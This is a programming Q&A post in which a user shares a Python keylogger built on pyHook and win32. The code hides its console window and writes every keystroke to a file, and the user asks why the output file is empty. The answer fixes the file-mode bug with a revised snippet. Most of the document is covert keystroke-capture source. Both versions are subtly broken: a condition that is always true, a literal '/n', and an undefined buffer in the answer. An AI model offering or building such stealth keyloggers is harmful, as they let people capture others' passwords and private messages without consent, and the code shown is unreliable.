Search code examples
pythonpywin32keylogger

python Writing to a output file


I am trying to write the key strokes I make to a new text file. I got the following code:

import win32api
import win32console
import win32gui
import pythoncom
import pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        _exit(1)
    if event.Ascii != 0 or 8:
        f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
        buffer = f.read()
        f.close()

        f = open('C:\Users\Joey\Desktop\output.txt', 'w')
        keylogs = chr(event.Ascii)

        if event.Ascii == 13:
            keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

I don't get any errors so I guess that's good. But everytime I check output.txt I see a empty text file. What is wrong with my code?


Solution

  • Look here for the difference between w and w+. You're overwriting the file every time with the second open for write f=open('C:\Users\Joey\Desktop\output.txt', 'w')

    I'd imagine your file has just a line break in it. Try opening with just the a option to write to the end of file (EOF) every time.

    if event.Ascii != 0 or event.Ascii !=8:
        f=open('C:\Users\Joey\Desktop\output.txt', 'a')
        keylogs=chr(event.Ascii)
    
        if event.Ascii == 13:
            keylogs='/n'
        buffer += keylogs
        f.write(buffer)
        f.close()